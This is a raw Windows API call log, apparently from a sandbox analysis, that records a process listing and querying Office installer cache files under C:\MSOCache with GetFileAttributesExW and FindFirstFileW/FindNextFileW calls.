	[0050.267] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x127340a8 | out: lpFileInformation=0x127340a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1
	[0050.268] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x127340f8 | out: lpFileInformation=0x127340f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1
	[0050.268] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), fInfoLevelId=0x0, lpFileInformation=0x12734148 | out: lpFileInformation=0x12734148*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1
	[0050.268] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734198 | out: lpFileInformation=0x12734198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1
	[0050.269] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x127341e8 | out: lpFileInformation=0x127341e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1
	[0050.271] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12734238 | out: lpFileInformation=0x12734238*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.272] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.274] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.274] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0050.274] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.274] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1
	[0050.274] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.274] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.274] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.275] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x127343c8 | out: lpFileInformation=0x127343c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1
	[0050.276] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x12734418 | out: lpFileInformation=0x12734418*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1
	[0050.276] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734468 | out: lpFileInformation=0x12734468*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1
	[0050.276] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x127344b8 | out: lpFileInformation=0x127344b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1
	[0050.276] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12734508 | out: lpFileInformation=0x12734508*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.276] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1
	[0050.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1
	[0050.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0050.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.278] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.279] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x12734698 | out: lpFileInformation=0x12734698*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1
	[0050.280] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x127346e8 | out: lpFileInformation=0x127346e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00)) returned 1
	[0050.280] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734738 | out: lpFileInformation=0x12734738*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf)) returned 1
	[0050.280] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734788 | out: lpFileInformation=0x12734788*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c)) returned 1
	[0050.280] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x127347d8 | out: lpFileInformation=0x127347d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.280] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.281] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.281] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.281] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.281] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1
	[0050.281] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1
	[0050.281] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1
	[0050.281] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.281] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.281] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734968 | out: lpFileInformation=0x12734968*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861)) returned 1
	[0050.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), fInfoLevelId=0x0, lpFileInformation=0x127349b8 | out: lpFileInformation=0x127349b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd)) returned 1
	[0050.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), fInfoLevelId=0x0, lpFileInformation=0x12734a08 | out: lpFileInformation=0x12734a08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000)) returned 1
